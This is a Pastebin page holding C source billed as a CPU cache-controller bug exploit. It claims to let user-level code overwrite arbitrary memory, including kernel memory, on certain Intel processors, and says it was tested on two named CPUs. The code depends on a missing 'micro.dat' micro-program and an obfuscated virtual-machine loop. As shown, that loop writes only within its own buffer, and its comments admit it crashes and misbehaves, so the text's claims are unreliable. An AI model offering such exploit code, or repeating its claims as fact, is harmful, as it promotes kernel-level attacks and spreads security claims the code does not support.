Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

CPU cache controller bug exploit

By: satsura on Jul 15th, 2012  |  syntax: C  |  size: 5.77 KB  |  views: 2,089  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /*----------------------------------------------------------------------------
  2.  *
  3.  *                    CPU cache controller bug exploit
  4.  *                    ================================
  5.  *
  6.  * allows you to change content of arbitrary memory cells,including the kernel
  7.  * memory from the user level.
  8.  *
  9.  * the "victim" (memory cell) is supposed to be in L2 cache (1)
  10.  * and (addr % 4Kb) == 0 (2)
  11.  *
  12.  *
  13.  * tested on: Intel Core 2 Duo T5750, Intel Atom N270
  14.  *
  15.  * (x) Selena, nezumi // 2007, 2008, 2009
  16. -----------------------------------------------------------------------------*/
  17. #include <time.h>
  18. #include <stdlib.h>
  19. #include <stdio.h>
  20. #include <windows.h>
  21.  
  22. #define N_CORE 4
  23.  
  24. // size of micro.dat is discarded, will rewrite this soon
  25. #define N3 (257)
  26.  
  27. #define dw unsigned int
  28.  
  29. #define XXL (9*1024*1024)
  30.  
  31. dw buf[XXL+1];
  32.  
  33. // debug: testing micro-program for the old vm, does not work now
  34. // latter comment 1: oh. my! it works! wow!
  35. // latter comment 2: it works, but it does not what it's expected to
  36. // dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,
  37. // -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};
  38.  
  39. init_c();
  40. engine(dw *p, size_t n);
  41.  
  42. // the infinite loop will be patched on the fly because of the Intel CPU bug
  43. // addr of the test() func should be aligned by 4Kb boundary,
  44. // 1st dword will be changed to NOP, NOP, NOP, NOP
  45. // it's possible to change the kernel memory as well,
  46. // two things:
  47. // 1) alignment;
  48. // 2) the code is currently executed;
  49. //
  50. // engine() obtains the address of test(), but does not check it,
  51. // so if you replace it, you have to check the conditionals above by yourself.
  52. // also the content to overwrite. if you want to change data memory
  53. // it's supposed to be in the cache as well.
  54. __declspec(naked) test()
  55. {
  56.         __asm
  57.         {
  58.                 l1: xor ecx, ecx
  59.                 loop l1
  60.                 retn
  61.         }
  62. }
  63.  
  64. DWORD WINAPI ThreadProc(LPVOID lpParameter)
  65. {
  66.         engine(buf, N3*3);
  67.         return 0;
  68. }
  69.  
  70. DWORD WINAPI ThreadProc_dbg(LPVOID lpParameter)
  71. {
  72.         test(); printf("\nyour CPU is buggy\n");
  73.         ExitProcess(0); return 0;
  74. }
  75.  
  76.  
  77. // micro code verification procedure
  78. chk_m(dw *p, size_t n)
  79. {
  80.         int f_err = 0; size_t a, i;
  81.         if (*(p + 2) != 0 ) printf("warning: ctx is not zero!\n");
  82.         for (a = 3, i = 1; a < n; a += 3)
  83.         {
  84.                 if (   ( *(p + a + 1) !=  ((*(p + a + 0) + a) ^ i) )
  85.                     || ( /* removed */ 0 )
  86.                    )   printf("error @ %04Xh - incorrect micro-code\n", a*sizeof(dw)), f_err++; i++;
  87.         } if (f_err) printf("%d errors\n\n", f_err);
  88.  
  89.         return f_err;
  90. }
  91.  
  92. init_m()
  93. {
  94.         FILE *f; size_t n;
  95.  
  96.         printf("loading  micro-program...");
  97.         f = fopen("micro.dat","rb");
  98.         if (!f) return printf("err\n"), 0;
  99.  
  100.         n = fread(buf, 1, 80, f);
  101.         if (n != 80) return printf("err\n"), 0; else printf("%s...", buf);
  102.        
  103.         n = fread(buf, 1, XXL, f); printf("%d bytes done\n", n);
  104.         buf[n/sizeof(dw)] = 0xDEAD;
  105.  
  106.         if (chk_m(buf, n/sizeof(dw))) return 0;
  107.  
  108.         return n;      
  109. }
  110.  
  111. init_t()
  112. {
  113.         int a;
  114.         DWORD id; HANDLE h;
  115.         size_t size = 111;
  116.  
  117.         printf("initializing XX thread...");           
  118.         h = CreateThread(0, 0, &ThreadProc_dbg, 0, 0, &id);
  119.         if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
  120.  
  121.         for (a = 1; a < N_CORE; a++)
  122.         {
  123.                 printf("initializing #%d thread...", a);               
  124.                 h = CreateThread(0, 0, &ThreadProc, (LPVOID) size, 0, &id);
  125.                 if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
  126.                 size = (size & (~63)) * 4;
  127.                 Sleep(100); // bad code, it's the source of many problem.
  128.                             // a new thread should be created when and only
  129.                             // when the previous one finished the pass,
  130.                             // otherwise the micro-code becomes unstable.
  131.         }
  132.    
  133.         // !!!dbg!!!, only for debug, should be disabled in the release
  134.         for (printf(",,,\n");;printf("%04X ", --id & 0xFFFF))
  135.         {
  136.                 for (a = 0; a < 4;a++) printf("%04X ",buf[a] & 0xFFFF); printf("... ");
  137.                 for (a = (N3*3/2-3); a < (N3*3/2+3); a++) printf("%04X ", buf[a] & 0xFFFF); printf("... ");
  138.                 for (a = N3*3 /* no shit */; a > (N3*3-4); a--) printf("%04X ", buf[a] & 0xFFFF);
  139.                 printf("\r");
  140.         }      
  141. }
  142.  
  143. // the engine executes the virtual code written by Selena,
  144. // nezumi has no idea how the virtual code works, however,
  145. // nezumi redesigned the virtual machine from the scratch,
  146. // so, the source code of the engine is free to distribute,
  147. // however, micro.dat is not free to distribute, there is
  148. // a legal issue. also, it works only for certain CPUs.
  149. //
  150. // because of nature of Selena (she is an underground person
  151. // lives in the shadows), it's unlikely that she will sue you
  152. // if you decide to distribute the code that belongs to her.
  153. // however, better do not do it for any reason.
  154. engine(dw *p, size_t n)
  155. {
  156.         int a; dw f1, f2, f3, fn, f0 = -1; size_t dt = 0;
  157.         for(;;)
  158.         {
  159.                 f1 = *(p + ((dt++) % n));
  160.                 f2 = *(p + ((dt++) % n));
  161.                 f3 = *(p + ((dt++) % n));
  162.  
  163.                 // vm + scrambler + dynamic encoder + multi-pass obfuscator
  164.                 fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0;
  165.  
  166.                 // a few minutes to trigger this condition on 2.4 MHz PC
  167.                 if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0)
  168.                 {
  169.                         // a sync problem. it would be better to use locks over here.
  170.                         // crash happens. crash is not shit. crash means code works.
  171.                         // so, should be really care about the addr and the content?
  172.                         // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of
  173.                         // it gives BSOD on Intel Atom N270 cpu o_o less than an hour
  174.                         f3 = (dw) &test; f1 = 0x90909090 ^ f0; f2 = (dw) &test ^ fn;
  175.  
  176.                         printf("\nWOW!\n"); // remove it, plz, it's too slow to work
  177.                 }       *(p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ;
  178.         }
  179. }
  180.  
  181. main()
  182. {
  183.         int n;
  184.  
  185.         printf("HITB 2008 missing exploit :=) by Selena\n,,,\n");
  186.         printf("micro-code is written by Selena\n");
  187.         printf("virtual machine is designed by Selena\n");
  188.         printf("virtual machine has been rewritten by nezumi\n,,,\n");
  189.  
  190.         n = init_m(); if (n) n = init_t();
  191. }